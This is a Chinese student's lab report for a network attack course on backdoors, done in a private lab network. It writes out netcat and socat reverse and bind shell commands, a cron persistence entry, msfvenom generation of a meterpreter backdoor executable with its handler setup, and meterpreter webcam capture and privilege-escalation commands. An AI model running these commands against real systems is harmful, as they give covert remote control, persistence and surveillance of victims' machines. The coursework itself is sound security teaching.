2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
一、实践目标
- 使用netcat获取主机操作Shell，cron启动
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权
二、基础知识
Kali地址：192.168.153.134
Win10地址：169.254.0.178
保证能ping通：
关闭防火墙和杀毒软件
三、Exp2.1 使用ncat，本机（Windows）获得虚拟机（Linux）操作shell
实验步骤：
- win10中使用ncat监听5237端口
ncat.exe -l -p 5237
- 在Linux输入指令
nc 192.168.153.134 -e /bin/sh
反弹连接Windows主机的 5237 端口
攻击成功：Win10成功获得Kali操作shell，能够进行操作
相同道理：在Linux中监听5237端口
在Windows输入指令
ncat.exe -e cmd.exe 192.168.153.134 5237
反弹连接Linux的5237端口
- 攻击成功：
四、Exp2.2使用netcat获取主机操作Shell，cron启动
实验原理
- cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程，与windows下的计划任务类似，当安装完成操作系统后，默认会安装此服务 工具，并且会自动启动cron进程，cron进程每分钟会定期检查是否有要执行的任务，如果有要执行的任务，则自动执行该任务。
实验步骤
用 crontab -e 指令编辑定时任务，选择3
vim编辑器中用 i 改为插入模式，在最后一行插入 50 19 23 3 * /bin/netcat 192.168.153.134 5237 -e /bin/sh 后输入 :wq! 保存并退出
成功显示ls：
五、Exp2.3使用socat获取主机操作Shell, 任务计划启动
实验步骤
win中打开控制面板，选中管理工具->任务计划程序
创建新任务，填写任务名称，新建一个触发器。
同时创建新操作，在操作->程序或脚本中选择 socat.exe 文件的路径，在添加参数一栏填写 tcp-listen:5237 exec:cmd.exe,pty,stderr
按快捷键win+L即能锁定计算机，创建的任务开始运行。
此时在Linux中输入指令 socat - tcp:192.168.153.134 5237 ，发现成功获得了cmd shell，能够输入Windows的命令（这里因为当时保存截图的时候覆盖了，后来写博客才发现少了这张截图。。不过真的成功了！）
六、Exp2.4使用MSF meterpreter生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell
实验步骤
- Linux中输入指令生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.134 LPORT=5237 -f exe > 20165237.exe
- 在Linux中输入指令msfconsole，进入msf命令行，msf启动监听前需要进行一些设置
use exploit/multi/handler /*进入handler模式*/
set payload windows/meterpreter/reverse_tcp /*对应生成的后门程序设置payload*/
show options /*查看当前信息状态*/
set LHOST 192.168.153.134 /*设置LHOST，其中ip为Linux的ip*/
set LPORT 5237 /*设置LPORT*/
exploit /*启动监听*/
- 启动监听后再在win中运行后门程序，此时Linux上已经获得了Windows主机的连接，并且得到了远程控制的shell，能够输入Windows中的命令。
七、Exp2.5使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权
实验步骤
- 获取摄像头和录像：
webcam_snap / webcam_stream
- 获取运行msf会话的用户名，从而查看当前会话具有的权限;提升管理员权限（此时好像已经最高权限了）
getuid
get system
八、实验感想与问题
感想：这次实验，不得不说很让我震惊。这是我第一次实际上get到后门获取信息的知识，很满足。希望以后能够更深入的学到相关理论和知识，不仅学会攻击，也要学会防范。
例举你能想到的一个后门进入到你系统中的可能方式？
答：
- 例举你知道的后门如何启动起来(win及linux)的方式？
答：在下载软件的时候，可能会有捆绑垃圾下载下来，然后修改开机的启动项，当攻击者输入命令时，本机可能会自动响应。
- Meterpreter有哪些给你映像深刻的功能？
答：我觉得最深刻的就是录像和音频的获取（这不就是黑客监视么！！）我已经将笔记本的摄像头贴起来了。
- 如何发现自己有系统有没有被安装后门？
答：360安全卫士或许是个很好的选择；不过如果真正想要发现后门程序，我觉得要用抓包技术来分析信息。